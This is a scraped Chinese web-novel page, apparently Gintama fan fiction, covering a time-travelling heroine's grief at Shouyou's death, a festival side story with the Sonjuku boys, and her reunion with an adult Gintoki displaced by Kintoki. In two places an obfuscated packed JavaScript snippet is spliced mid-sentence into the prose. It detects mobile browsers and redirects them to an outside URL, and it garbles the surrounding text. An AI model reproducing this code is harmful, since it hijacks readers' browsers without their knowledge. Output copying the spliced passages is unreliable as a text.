我闭上眼等了又等,还没有任何感觉。 张开眼,我吓了一跳。我整个人飘荡在半空中,身体的线条如同水纹般全是波浪线,浑身透明几乎融入空气中。 卧槽,这是变成鬼魂了?我捂颊惊呆了。 环顾四周,依然是方才的战场,远处还有如蚂蚁般大小的人在战斗中。 我还没离开?那……松阳和他们呢? 念头才起,我整个人如同被风吹起的湖面波澜般扩散。意识有弹指间的恍惚,下一刻,我悬浮在半空中,愣愣地看着下方的人们。 凸出的悬崖边上,我的家人们…… “晋晋,假发!” 心随意动,我瞬间来到他们身边,手穿过了他们的身体,骇然地看着他们破碎而悲伤的表情。 一身血染白袍的少年,一步一步地从身后走来,穿过我的身体,慢慢走到前方,那个背对我们跪着的身影后。 “等等……怎么回事?银,银时?”我无法反应过来,只是下意识伸手向他,透明的手连自己的视线都无法阻挡,更不可能阻挡他的脚步。 寂静的世界猛地清晰起来,我听到高杉绝望愤恨的怒吼,桂无助的低泣。 不要…… 在那一刹那间,一切的疑惑都有了答案。 为什么十年后的坂田银时回到这里只想要杀掉什么都还没做的自己。 为什么那么强大的松阳宁愿在监狱了那么多年却依然说自己快坚持不下去了。 为什么性格傲娇却善良的高杉会变得冷酷只想毁掉一切。 【这是我作为老师,最后能为他们做的了。】 我能猜到松阳的死志,却怎么也不敢想是这种死亡方式。 太过分了,太狡猾了……什么都做不了,只能把守护的重任交给其他人。 拼杀那么久,努力那么久,这种结局对于他们来说太残酷了。 不要啊……银时! 高杉入骨的绝望哀鸣与我疯狂的呐喊同频,刀光扫落的刹那,我下意识地拦在那人身后。 没有用,我的身体如同烟雾被扰动般晃动,根本阻止不了干脆利落的刀刃,也阻止不了身后人瞬间身首异处。 我的眼泪点点浮在空中,每一滴都刻上少年悲痛得麻木的脸庞,那么骄傲又无赖的家伙此刻脆弱得像个失去一切的小孩。那双从来懒散的红眸,只会在杀敌时凌厉发狠的漂亮眸子,如今只有无法抑制的悲恸。无法承载的泪水,慢慢滑落他的脸。 那个人最后的一句是谢谢,所以连否定这一切都做不到。 对不起,我旁观了一切,却什么都做不到。 对不起,我的家人们……我连陪伴都做不到。 【回去吧,阿萤,你是我留在未来最后的希望。】 冰冷的湿意点滴从心底冒出,细微的轻敲落在身上,如同晦暗天空洒落的泪水。 “那个……这位小姐?” 耳边忽然产来一个迟疑又礼貌的声音,随后肩膀被轻轻碰了一下。 我下意识张开眼,被眼泪和雨水淹没的睫毛厚重得视线模糊,一个朦胧的身影出现在眼前,世界再次清晰起来。 “你没事吧?怎么会坐在我们店门口?”老人家弯身拍拍我的肩膀,“下大雨了,你赶快去回家吧。我们店今天不营业了。” 营业?回家?我还能回哪里的家? 傻愣地抬起头,已经有点陌生的街道映入眼帘。先进的霓虹灯招牌,香甜的蛋糕店,还有街上少女们穿着的短款和服,靴子,对面大屏幕播放的广告。 这里是……歌舞伎町? 我……回来了? 对门的玻璃倒影的我,还穿着那身武士服,身上也沾了不少血迹。难怪老人家要关门…… 最后看到的那三张绝望的脸闪过脑海,我猛地跳起来,踉跄着往长街的另一边跑去。 跌跌撞撞地一路撞了不少人,眼前全是朦胧的点点,眼泪失控地跌落,我跑得很快,脑子里却全是方才看到的画面。 啪的一下,我撞倒在前面的路人身上,手脚发软得一时间爬不起来。 “阿萤大人?” 柔和的女嗓诧异,我眨掉眼泪,看到一张温柔的面容。 “小……小玉?”我猛地抓着她,“银时……他在哪?” 小玉的面容瞬间怪异,仿佛非常惊讶我会叫这个名字。随后,她绽出惊喜的笑容,“阿萤大人,你还记得银时大人?” 这不是理所当然?我是跳跃时空了,不是失忆了。 我现在,很想见到那个痛哭的少年。 “他在哪里?在万事屋吗?”小玉把我扶起来,我焦急地问道。 小玉沉了脸色,非常严肃地拉着我,“阿萤大人,银时大人遇到大危机了!” 啊……咧? 52.番外,松下村塾的夏日祭 包袱打开,里面崭新的衣服被摊开。鲜艳的红山茶盛放在月白色的底纹上,搭配同色鲜艳窄腰带,腰带的两端还团成了可爱的球状。 “哇哦~好漂亮~”阿萤双眼发光地捧着浴衣,惊喜地抬眸,“这是给我的吗?” 松阳笑着点点头,俊雅的眉眼俱是温柔,“过几天附近的村落会一起举办夏日祭,大家都会穿着漂亮的衣服去游玩,我们家阿萤也不能输呀。” “松阳~”阿萤感动地扑过去抱着他摇了摇,“谢谢……你对我太好了~他们会妒忌得面目全非的哈哈~” 早些日子村塾的孩子们就说过夏日祭的事,从来没参加过这种传统的祭典的阿萤还被狠狠同情了一番。大家都说好了要带她一起去游玩,小姑娘们更是早早提醒她准备最好看的浴衣。 阿萤的衣服大部分都是居酒屋那几个姐姐送的旧衣,也有村塾学生的亲人送的,没想到松阳会给她张罗新服。 “什么啊哈哈……我才要谢谢你呢,我们都受你照顾了。”松阳摸摸她的头,眼神柔和如春水。因为她,不但村塾其他孩子们,连那三个坏小子都越发像个纯真的孩童般,满足而乐观。 “阿萤,请一直这样照顾着他们呢。” “啊哈,这不是我该做的吗?哟西,我要让他们看你给我买的新衣服~”此刻她显摆的心达到了顶峰,抱着衣服就跳下走廊。 松阳笑眯眯地背着手站在走廊上,看她逮着人炫耀。 “老师,不就是夏日祭而已,有需要专门置新衣么……”高杉看着庭院里那个跳跃的身影,有点不是滋味。 他送她出门用的小挎包时也没见她这么高兴,哼,那可是他特意挑的,连老师也没收到过呢。 “女孩子是娇弱的花,本来就应该好好爱护。而且不是有个说法么,女儿家就是要富养,这样阿萤才不会被外面的混小子拐跑呢。” 松阳虽没养过女儿,但常听人说起养闺女跟儿子不一样,儿子要往死里训,女儿得好好宠着。因为女儿的笑颜,光是看着就会很幸福。 “谁能拐她啊……不对,她拐的人还少吗……再说了,”高杉看着那边因银时不服气捏了鼻屎沾到衣服上气得抡起拳头狠揍的阿萤,撇了撇唇,“娇弱的花……我们家就没有这种东西好吧。” 被劝架的桂抱着腰还能健步如飞地追着银时跑的那个女人,就算是花,也是张牙舞爪的蟹爪菊吧…… “啊哈……有精神也是好事~”松阳拍了拍他的头,笑容不变。 黄昏刚过,三个穿着浴衣的小子百无聊赖地靠在门边,漫不经心地看着院子里的松树。 “久等了哦~” 三人一顿,抬眸看过去。 笑容灿烂的女人一身月白色浴衣,明艳的山茶花绽放在脚边和肩膀,乌发难得挽成发髻。精致的面容温婉清丽,琥珀色大眼澄澈透亮,手挽着小挎包的她笑意盈盈地朝他们走过来。 “好看吗?”阿萤转了个圈,弯身笑着问道。 “阿萤好漂亮呢~”桂第一个赞道,满眼是真挚。 高杉和银时眼珠子分别移了移,揉揉鼻子挠挠脸,“也就……还行吧。” 每天都见到的人再怎么打扮也跟平时差不多嘛……就比其他人都好看一点而已。 “很抱歉,今晚他们就拜托你了,阿萤。”松阳有些歉意,“我这边完了会马上过去跟你们汇合的。” 松阳作为村塾的成年男子代表要先跟附近的村民一起维持秩序,到祭典烟火后才可以自由活动。 “没问题,交给我吧~”阿萤比了个胜利的手势。 高杉没好气地瞥了她一眼,“别担心,老师,我们会看着她的。” “啊哈哈……还有次郎他们呢。”桂拉着闪过阿萤突袭的高杉,笑着劝架,“我们走吧,别让大家等久了。” 村塾的其他学生约好了在村口等,他们也该出发了。 “等等,阿萤。”松阳忽然抬手,在她发髻边别上一朵红山茶,偏头笑道,“我听说祭典中美丽的姑娘都会收到男子送的花,我们阿萤也一样哦。” 怒放的山茶花瓣张扬,为她添上一抹明艳的色彩,与她身上的图案呼应。 阿萤抬手轻抚,失笑道,“松阳……谢谢你的花……但,能不能别把我们院子里唯一一朵花就这样摘了呢……” 她种了那么久才开的花,还没赏过呢…… “啊哈哈……花总会再开,但祭典可是一年一次呢~”松阳笑得无辜。 跟孩子们汇合后,大家热热闹闹地往祭典的方向走去。 “呐呐,阿萤姐,你要许什么愿?”娃娃头小姑娘兴致勃勃地问道。 祭典的传统,大家都会在不同摊位玩游戏然后取得五颜六色的长条诗笺,写下愿望挂在中心区的大笹竹上。 “一夜暴富。”阿萤想也不想地回道,声音跟眼神一样坚定。 孩子们顿时黑线,“还……真是朴实的成年人的愿望啊哈……” 走在他们身后的高杉双手拢在袖子里,闻言叹了口气。蓦地,一些隐晦的注视让他眼神一凛。 “又是那些人……”走在他身边的银时嘁了声,扛着刀低语。 两人交换一个眼神,同时望向桂。 桂会意地点点头,忽然低叫,“糟了,我忘记把饭团带过来了。” “诶?你什么时候做的?”阿萤回头看着他们,眼带疑惑,“没关系,我带了钱哦,等下请你们吃好的~” 为了今夜,她特意去居酒屋打工了好些天,工钱够他们今晚吃喝玩乐。因着这个,松阳还取笑她太宠他们。 “不行呢,那是我专门为大家做的超级special梅子饭团。”桂板着漂亮的小脸很是坚持,“你们先过去,我们回去拿,一下就能追上你们。” 阿萤偏头看了眼他们,顿了一下,笑着道,“那……小心点哦,若晚了的话,我们在大笹竹下面碰头吧,一定要一起许愿哦。” 桂笑着扬手应下,目送他们笑说着离开后,三人才慢条斯理转身,望向安静的路边树林。 “呐,要做什么就赶紧,我们赶时间呢。”扬眉勾出坏笑,银时好整以暇地看着那几个从黑暗中走出来的身影。 解决那些人不难,但要做到阿萤要求的清理干净花了他们不少时间。等一切完结后,朗月已当空,一年难得见到的零星花火已燃尽,远处的热闹也逐渐散去。 “回去吧,他们大概都回去了。”银时打了个哈欠,含糊地道。 平日这个时间他们都会坐在院子边的走廊上聊天,家里的大人和号称大人的笨女人总是胡扯各种奇怪的知识,桂傻乎乎地全信了,他和高杉无奈又质疑地听他们一本正经地解说,然后各自揶揄对方的观点。阿萤兴致来的时候,还会不自量力地单挑他们,输了就坑他们洗碗,然后让松阳给她点评和指导。 这一切在银时看来比逛什么祭典有趣多了。 “假发,你在干嘛?”高杉拍了拍身上沾到的尘,好奇地问着蹲在草丛翻找的桂。 桂笑着抬头,给他们展示手中的一小束粉蓝色的花,“好看吧,是矢车菊,寓意人生旅途中遇到幸福的花哦。没想到这里也有。” “什么啊……还不如老师给的山茶花,她不是有花了吗?那点子头发能戴多少花?”银时挖了挖鼻孔,没心没肺地嘲笑。 自打上次受伤剪掉了长发,她的头发好像就没长过,每次松阳给他们剪头发都能看到她怨念般的眼神。而银时因为天然卷看着就发量惊人,被她幼稚地敌视很久。 桂转头看向路上从祭典回来的人,“可是大家都戴着不同的花,我们家的姑娘怎么可以只有一朵嘛。” 阿萤可是答应了他们不会随便接受其他男子的花,那他也不能让她输给其他姑娘。 高杉脚步一顿,顺着他的目光看过去,路过的几个姑娘发间的确都戴着不同颜色的花。 “她说不定都回去了吧,明年再送就行了。”漫不经心地敷衍着,那双红眸却下意识四处张望。 “阿萤说了会等我们一起许愿,她一定还在等着我们呢。”桂把多余的叶子摘掉,朝两个伙伴道。 高杉和银时对望一眼,不约而同别过头,看似烦躁地搔了搔头。 他们赶到大笹竹那边的时候,那边已没几个人了,一些村民在收拾附近的摊位。 “看吧,她还带着明里几个,怎么可能还……” “在找我吗?” 银时的话没说完便被一道带笑的声音打断。 三人回头,昏黄摇曳的灯火之下,亭亭玉立的女子笑如绽放山茶花般明艳。 “你们好慢哦,还说等你们的饭团……还好我买了不少吃的,不然大家都得饿肚子了。松阳和次郎的哥哥一起把他们都送回去了,等下跟我们会合。”阿萤一手团子一手棉花糖,眉眼飞扬带笑,“呐,饭团呢?” 三个小子脸色一僵,只有桂迅速正经脸申辩,“都怪银时把饭团吃光了。” 高杉点头附和毫无压力。 “喂!”银时气得瞪大眼。 “算了,也没指望这个。给,这家的团子很好吃哦。”阿萤把棉花糖递给银时,诡异的是他居然双手背在身后没马上抢过去,“怎么?你……吃坏肚子了?” 桂噗嗤一下笑了,被银时不自在地瞪了一眼。 “给你,阿萤。”桂把手中的花递给她,腼腆地笑了笑,“虽然迟了些,但……送给你。” 琥珀色的大眼掠过诧异,随即笑弯如新月,藏有星辰般明亮。 她弯身让桂把其中一朵别在发间,红蓝辉映。随后,戏谑的眼神巴眨着看向高杉和银时两人。 “别太贪心啊,你都有两个男子汉的花,足够刷新你人生记录了。”眼珠子心虚地往上瞥,银时心不在焉地道。 “哈~姐的记录可壮观了,说出来怕你自卑……但那都是别人送的嘛……”阿萤也不是真想要,不过是这两人别扭的样子太可爱了,她忍不住想逗。 故意装出失落的样子,她叹口气,“好吧,那明年轮到你们哦……诶?” 两束不知名的小花就这样递到她眼前,看起来就是路边或者什么地方摘的,花卉不大,但黄色粉色的零零星星聚在一起十分鲜艳好看。 “又不是什么大不了的东西,哪用等明年啊白痴……”高杉鼓着小脸,脸色有些不自然,幽绿的眸子却带着笑意。 银时轻咳两下,手指擦着鼻子,眼角眉梢均是飞扬的嘚瑟,“不过是怕你那么点头发戴不了那么多会伤心……痛!” “别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15168943|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为这样我就不抽你哦~”捶了他一记,阿萤笑眯眯地拿过花,手指轻绕便编成花环递给桂。 “你自己来不行吗?”银时抱着头上的包,没好气地看她蹲下让桂给她戴上花环。 “哪有女王的加冕是自己来的。”阿萤理所当然地鄙视他,就着桂的手站起来抬着下巴转了个圈。 高杉叹口气没什么诚意地拍掌赠兴,家里的大人越来越幼稚,他也会有压力。 “呐呐,我们来许愿吧~”心满意足地展示完了,阿萤才从挎包里掏出一叠诗笺,“我今晚玩遍了所有摊位,换到了一堆许愿笺哦。” 银时三人有点傻眼,这些都够他们每人许好多个愿望了,“你是批发商吗?怎么拿到这么多的?” 他们去年也来过这种祭典,好不容易才赢够了每人一张的。那些狡猾的大人设置的游戏对孩子一点也不友好。 “因为许愿的人很多啊,我怕神明大人看不到你们的愿望。我们多写几份,被神明大人看到的几率就会增加嘛。”阿萤目光炯炯地看着他们,她是没参加过这种祭典,但是夜市游戏却是从小玩到大,在这领域获奖毫无压力。 银时嗤笑,“别太贪心啊,你不是不信神明的吗?” 阿萤把诗笺递给他,闻言笑了,“我是唯物主义者没错……但我希望神明大人能保佑你们。” 三个小子看了眼手中不同颜色的诗笺,抬眸望向那个背对着他们跟管理员要笔的人,不约而同地笑了。 他们对神明并没有太虔诚的信念,但是……若能保佑她和老师,那他们也会诚心地祈求神明大人恩赐。 好不容易写完了愿望,桂抬头看着大笹竹,忍不住惊叹,“好多愿望……大家有那么多需要神明大人实现的愿望吗?嗯……想要一份红糖团子?这也需要跟神明大人祈求吗?” “想要跟平之介大人一起?谁许这种无聊的愿望啊……神明大人才没空管这些吧。”银时捏着其中一张纸条,好奇地看了两眼,“还有想要一个新妈妈的?这都可以许愿吗?他爸爸没意见吗?” “这个希望能打败讨厌的前辈……怎么不努力练习呢?光许愿有什么用?”实际派的高杉摇了摇头,还好他们村塾没这种窝囊的学生。 阿萤摸了摸他的头,“许愿不一定是需要神明实现的,也许只是提醒我们自己此刻想要的是什么,让我们不迷惘,记得自己的目标。说到底,许愿靠的是强大的意志。” 意志么…… 听到这种解读,高杉和桂双手合十,眼神锐利地默念着自己的愿望,整张脸都快要陷入阴影里头。 “啊哈……你们那都不是意志,是怨念了吧……” 松阳到的时候看到的就是这个奇怪的画面。女子坐在两个小子互搭着的肩膀上,伸长了手去够大笹竹的顶端,绑着马尾的小子在后面手忙脚乱地扶着她。 “行了没?” “等等嘛,那个大叔说了,挂得越高越灵验,我一定要把你们的愿望挂到最上面去!” “啊啊,减肥吧,重死了……” “太失礼了,怎么跟淑女说话呢!” “这里有这种生物嘛?女人都不听实话的吗?” 明明站得轻松,但两个坏小子还是故意摇了摇肩膀,试图唬吓肩膀上的人。 “是你们太弱了而已……啊,好了~”阿萤放下手狠狠地压着两个头颅揉了揉。 “喂!”高杉+银时。 “别闹了,阿萤小心掉下来……”桂失笑地扶着她的背。 松阳笑着走过去,伸手把人抱下来,“让你们久等了呢。” “老师,你看,”高杉眼神发亮地指着大笹竹最顶端,随风摇曳的许愿笺,“那是我们的愿望,一定会实现的!” “是啊,真好……”松阳抬头望着那些飘荡的彩色纸笺,笑容温柔。他不信甚至鄙夷神明,但他知道,这些孩子写下的愿望总有一天会实现。 因为那些,都是孩子们意志体现的目标。 “松阳,我们回家吧。你的那份愿望我都写了,一定是你想要的哦~” 松阳看着那张红色的许愿笺,眸底掠过意外,笑容多了几分喜悦,“不愧是阿萤呢……” 他转身望去,那个纤细的姑娘伸手圈着三个半大不小的少年,一起埋汰着彼此的愿望,明明只有四个人却热闹得很,连夜色也掩不去那吵杂的生机。 也许神明是存在的,因为他们如神迹般出现在他的生命中,在他的时间里开出耀眼的花。 “松阳~发什么呆呢,不等你哦。” “老师是在思考啦。” “小子们,我们来比赛吧,最晚到家的人负责明天的三餐吧!” 话还没说完,阿萤和桂已一马当先地跑了。 “啊!阿萤假发你们两个混蛋——” “松阳,快跑~” 这几个人啊……松阳忍俊不禁,脚步一迈,气定神闲地赶上两个小子,毫不留情把他们甩在身后。 “高杉,你就煮饭去吧~”眼看着落后了,坏心眼地伸脚把身边的人绊倒,银时轻松地跳过他的拦截,回头扮了个鬼脸飞快地往前跑。 可恶,这个家的混蛋一个比一个狡猾! 高杉气得边跑边掰着手指,“你们给我等着!” 53.一无所有的银光 滂沱大雨慢慢转为淅淅沥沥,天空被厚重的云层笼罩,灰霾得没有一丝亮光,整个世界的色调仿佛被调了晦暗的滤镜。 阴雨天的歌舞伎町,各户商家少了平日门口的吆喝,冷清了几分。 一路走过来遇到了几个认识的大婶,足以让我打听某个蠢货做了什么傻事,能猜到他受到怎样的打击。如今,我看着那个倒埋在垃圾堆里,浑身上下只剩可笑四角内裤搭着两条腿晃动的笨蛋,有种哭笑不得又无奈的心疼。 那日之后,他到底是怎样活成现在这副模样? 这个宇宙第一的,让人无奈的笨蛋,不愧是那个人的弟子,一脉相传的蠢。 刚刚从他弑师的悲恸走过来,如今看到他这惨兮兮的样子,我对造成这次危机的新八和神乐等孩子罕见地有了一丝不满。尽管知道大部分是这个笨蛋自找的,但……他好不容易拥有的一切,就这样被夺走,这个笨蛋该多受打击。 不是主角吗?如果不是先遇到小玉,我都以为自己到了其他世界了! 无缘故离家多日的差劲酒鬼男人打上几顿不就老实了,出息!为什么要弄一个完美版的金时出来取代他的位置?现在好了,所有人都忘记他了,除了机器人,狗和当时不在这个时空的我。 不行,我现在不能见到他们,包括桂……连自己同伴和家人都认错,现在看到我肯定会揍死他! 虽然听起来,那个金时比银时完美多了,有气概又帅气,还是负离子直发,连手头也阔卓得金光闪闪的,整条街的人都喜欢他,简直就是女人的憧憬男人的榜样,但……再不争气也好,瘌痢头也是自家孩子的好啊! 呼吸急促而困难,眼泪无法抑制,我站在巷子口,看着定春把人从垃圾堆里拖出来。 “叫你滚去一边,你没听懂我的话吗?” Emo被打扰的笨蛋炸毛地吼道,那头湿了水反而有点贴服的卷毛脏兮兮的,这种凶巴巴的天然卷也就定春不嫌弃了。 又哭又笑的情绪翻涌,我一步一步走近那个被定春一口咬住整个头的蠢货,“我不就是回家一下而已,你怎么就把自己搞成这副蠢样了?27岁的坂田银时。” 定春乖乖地退开一点,露出那张瞬间震惊得连眼角都睁裂的脸。 走到这个跪在地上的男人面前,我俯视着他,把他眼底那抹诧异,怀念,羡慕,委屈,最后沉淀为暗淡的复杂全看在眼里。 也许是还没从十年前最后的那个画面走出来,现在的他看在我眼中脆弱又慌乱,像一只被主人抛弃在路边无助又茫然的卷毛猫。 我俯身把这个蠢得让人无奈的男人抱进怀中,泪水夹杂着雨水滴落在他裸背上,怀中的人瑟缩了一下。 抬手揉着他的湿发,我低哑着笑道,“不是说要帮忙照顾一下我家人的吗?这种服务水平我不付款的哦……还把自己搞得这么惨,银时,这十年你的人品到底烂到什么地步?” 他没有回答这个自己也不知道答案的问题,只是安静地伏在我怀中。 “银时,我回来了。” 好半响后,怀中的脑袋动了动,在我胸前蹭了蹭,“软,软呼呼的……果然,你只有胸是像个女人……” 随后,胸口被埋了一下。 十字路口猛地蹦上我头上,我忽然笑了,“银时……你个性骚扰大王去死!” 抬腿狠狠把人踢起来,在他惨叫之际将人倒拎起来,我毫不留情地把他的头往地下砸,“赶紧的,把你脑子里的黄色废料给我倒干净!我一生行善积德,光明磊落,感人至深的重逢场面我值得拥有!” “快住手啊混蛋!要死了,别说废料,连脑浆都要倒干净了!”头砸得鲜血乱飙的银时手脚并用地挣扎求饶。 把他甩到地上,我恨铁不成钢地怒指着他,“这么久没见,你就不能靠谱些吗?小孩子就是指望不上!” “孩你妹啊,老子现在比你还大,给我上敬语啊!永远25岁的白痴!”坂田银时拍开我的手,弓步反指了过来。 “年龄对你来说什么都不是,一把年纪还把自己混成这样,连家都被偷了你好意思说自己是大人吗?”我抹了把脸上的水,吸了吸鼻子,稳住声音嗤道,不屑地看着他一下子颓靡起来的挫样。 “少,少啰嗦!”坂田银时瞬间气短,龇牙咧嘴地把手插进短裤两侧,“你怎么会记得……啊,你刚回来,怎么找过来的?” 都这样了还敢傲娇,要不是可怜他真想抽他两拳。装什么装啊,自己明明就伤心得要死,还表现一副不在乎的样子。 我往一边抬了抬下巴,他顺着看过去,小玉撑着伞笑着走过来。 “本来这个世界还没被染成金色的,就剩下一人一狗和一台机器人了。阿萤小姐是例外,好像因为之前失踪了一段时间的关系没有受到影响。我找了你很久了呢,银时大人。” “小……小玉?怎么连你也……”大概是我的经历他有点底,看到小玉还记得他,他的表情更加惊诧。 小玉走过来,笑着替他遮挡雨水,“请你放心吧,就算这个世界都忘了银时大人,你的存在也不会从我的资料里消失。因为每晚睡觉前,我都会设置reset键关掉电源。” 银时的眸光微动,似是有点不敢相信。 “银时大人也一样吧。比起金的话,你的确是少了些光辉,或许你偶尔才会散发出暗淡的光芒,总是争执不断,总是吵架,天然卷,还是个懒鬼,性骚扰大王,既付不出房租,又发不起工资……” 我越听眉头越皱,她说的那个人真的是我认识那么久,跟我们一起并肩作战的那个可靠的少年吗? “等等,怎么十年过去多了这么多缺点……说实话,我都不想站你了,要不你放弃吧……痛!”我还没感慨完就被银时一个肘击,痛得我狠狠地踩了他一脚。 银时像不感觉到痛般,低着头沉默。要不是我肚子还在疼,我都以为自己是受到不明攻击。 “呵呵……”小玉被逗笑了,把伞往我倾斜,“但就算这样,比起镀金刻意散发出来的虚伪光芒,你会在发怒时真心发怒,会在大笑时开怀大笑,有你在的银色光芒更为耀眼美丽……那道美丽的光芒,你还没有忘记吧。” 银时低着头依然不发一语。 我看了眼,这人方才颓废的气场已经慢慢转变。 哎,真好哄,这么多年没被女人随便勾走真是归因于他那烂到家的桃花和穷鬼特质——我不怀好意地猜测着。 然而,心底却开始难过……这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15184979|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒舌傲娇的笨蛋,以前连吵架都千方百计地想坑我们去哄,攘夷时期甚至宁愿跟我们冷战都不愿意低头的那个人,如今只需一点点的善意便能满血复活……是什么让他变得这么容易就满足? “你并不会被那种虚伪的光芒欺骗,我没说错吧。那么,银时大人,请你重新振作起来,再一次握起这把刀。将这个被金色涂染的世界,再一次颠覆涂改。” 小玉温柔地鼓励着,把属于他的木刀递过去。 定春乖乖地趴下,以它的大头蹭了蹭我的手。我拍拍它的头,抬眼就看到那些刺目的海报。 “金色的东西只有黄金才会让人想要,其他的话太刺眼了。更重要的是,把自己卖给我的契约签的是坂田银时……” 我随手把墙上那个金时的海报扯下来,撕成碎片丢在垃圾堆里,手指着那个银发天然卷严厉地道,“所以,给我上,银时,金色也好,负离子烫也罢,我们家的男人绝不能认输!” “再次记起来吧,你灵魂的颜色。”小玉笑着看他握紧了刀柄。 望着墙上被他刻出来的震撼灵魂的字眼,我笑着搂住小玉,“哎呀,你把那又脏又旧的暗淡银色召唤回来了呐,小玉~” “那才是最适合这个世界的颜色。”小玉偏头,笑容温柔得让我想起了那人。 真好,在那漫长的十年之后,他还是遇到了能把他扶起来的人们。在我无法触及的时光里,他熬过了伤痛,再次拥有能活下去的理由。 才歇下的伤感又翻涌而上,眼眶滚烫,眼前视线一再模糊,我有点庆幸这一场雨。 头上一重,那只脏兮兮的大手就这样压了上来。虽然但是,我的头好像也很久没洗了,谁都别嫌弃谁。 “老子刚燃起来,你这副表情是怎么回事啊?赶紧给我high起来,给老子上!”银时抓着我的头发扯了扯,故作凶狠地道。 我吸吸鼻子,忽然意识到他并不知道我看到的画面。那道深刻的伤口,不宜在这个时刻撕开。 “你是白磷吗这么容易燃起来……上什么上,你先把前因后果搞清楚吧。姐才刚从战场上回来,得回回血,你知道的,我血薄,血槽也短。”我偏头躲开他的手,半搂着小玉靠着,“小玉,我累……” “累个毛线啊,工厂的牛马都不敢像你这样摸鱼的,刚刚不是很热血的吗?不是要为了你那些债权让老子上的吗?”银时一手把我扯开,拖着我往外走,“老子要把这个世界的颜色抢回来,还要把那个金发的家伙打飞到宇宙尽头!上啊,我们家的女人也绝不能认输!” 靠,他回血这么快的吗?我完全刹不住地被他扯着走。 “不,你家的女人血槽短,上阵前需要先补补……小玉,定春……救我!”我尔康手伸过去,结果小玉只是笑着跟上,没有帮忙的意思。 好吧,我的光芒不是她喜欢的银色。 …… “还有,那个……” “啥?” “就那个……” “有屁就放!” “欢迎回来。” …… “不要一边挠屁股放屁一边说这句话啊!!” 我一生行善积德,为什么没有得到该有的感人重逢场面?见鬼的银他妈世界! 54.金是不能取代银 拉开门的那一刻,男人一头金发几乎要刺痛我的眼。 白底紧身衣裤,黑色和服半套在身上,面容清俊,眼神炯然有神,连笑容都是恰到好处的亲昵与舒服。 不愧是完美的,坂田金时。 “久等了,这位小姐,请问是有什么需要我们万事屋为你服务?” 我放下他准备的英式红茶,拿和服的袖子压了压眼角,哀怨娇柔地瞟了他一眼,“其实……是我老公好像出轨了。” “那真是一个不惜福的男人,有你这样美丽的夫人,居然还……”金时沉吟一下,安慰道,“你可以把事情说一下,也许只是一场误会哦。无论如何,我们万事屋都会替你查清楚。” 没吐槽,不冷漠,也不会媚客……我暗暗点头,“是这样的,我出差回来,发现他好像被人迷住了一样,不但喜欢了一个跟我差不多的女人,还觉得过去的美好都应该跟她一起度过,把我给忘记了……我都不知道如何是好。” 金时适时地递过纸巾,柔声道,“请问你是否有任何证据?也许那个跟你差不多的女人,其实就是夫人你自己呢。” 我没有接过纸巾,状似仓惶地抓着他的手,盈盈大眼柔弱地看着他,“真的吗?在你眼中,我是很出色的女人吗?不是结了婚就人老珠黄的黄面婆?” 双手握紧我的手,金时注视着我的眼神非常真挚,不带一丝绮念,“当然,夫人你依然年轻美貌,所以交给我们万事屋吧,我们一定会为你查明真相,帮助你们夫妻和好的。” 轻握着我的手,递到他唇边,做了一个轻吻的动作,却没有碰到我的手背。金时微笑道,“请让我们为你服务,夫人。” 要是我真的是自信心被打击的女人,大概会被他迷倒。没有为了钱断章取义,也没有把责任推给客人,很有风度。 “那就拜托了,阿金……我只希望那个笨男人不要被外面的小妖精骗了。” 送我出门的时候,金时还赠送了一个小礼盒,说是给客户的小惊喜。我转头就打开了,是个小糕点,上面有可爱的文字写着加油之类的心灵鸡汤。 “啧啧,果然是坂田银时不可能做到的惊喜。” 那个死糖分控巴不得世间所有甜点都落入他的嘴里。 “诶?是阿萤姐吗?”新八的声音忽然从楼梯传来,“真的是阿萤姐!” 我刚走下楼梯,抬头看到少年惊喜的表情,“许久不见,新八。” “太好了,你终于回来了。我们都很担心你呢……你来找阿金吗?” “刚见过了,说起来又来委托你们呢。”我意有所指地笑道。 “哈哈,之前阿萤姐你说要寻死,阿金还带着我们帮你,真是……诶,那个阿金……以前居然还做这样的事?哈哈,总感觉不像是他做的,但……有点怀念……啊咧?”新八越说越含糊,表情有些茫然。 “呵呵,现在像样多了。”我笑了笑,弯身告辞,“那,我先忙去,回头再好好聚聚。” 告别还没回过神的新八,我看了眼头顶金时的牌匾,哼了声,转身离开。 情景转换,我跟银时和小玉在餐饮店碰头。 “没救了,完全没有胜算。”我一脸正经严肃地张开手靠在餐饮店的卡座背上,细数那位金时的优点,“又帅,又会攒钱,为人体贴正直,不愧是迭代最新的型号,根本就是你的完美版。不,跟你拉上关系就是他唯一的污点。” “滚!”银时一掌拍在我头上,狰狞着脸吼过来,“你是想要老子把你那短得惊人的血槽一次过清空吗?那就是个没人性的机器人而已,你说的优点输入程式就能做到,完全不是多啦B梦那种有感情的level啊。” 在我试探期间,他已经从小玉那里知道所有始末,那个金时就是源外老爹应新八和神乐要求制造出来的超完美版坂田银时的替代。如今他整个人都陷入了极端的敌对情绪里。 “人设完美,事业有成,超级懂女人心还尊重女性,身材还挺好,简直就是我crush,他要不是机器人,我一定会把人撩到手!”想想都让我的女性征服欲燃起来。 蹦着一脸十字路口,银时一手把我的头压进桌子里,“赶紧的,给老子把脑子里的废料挤干净,那种模型的肌肉就是块钢板,是比老子厚实还是比老子有弹性?要摸摸看吗!” 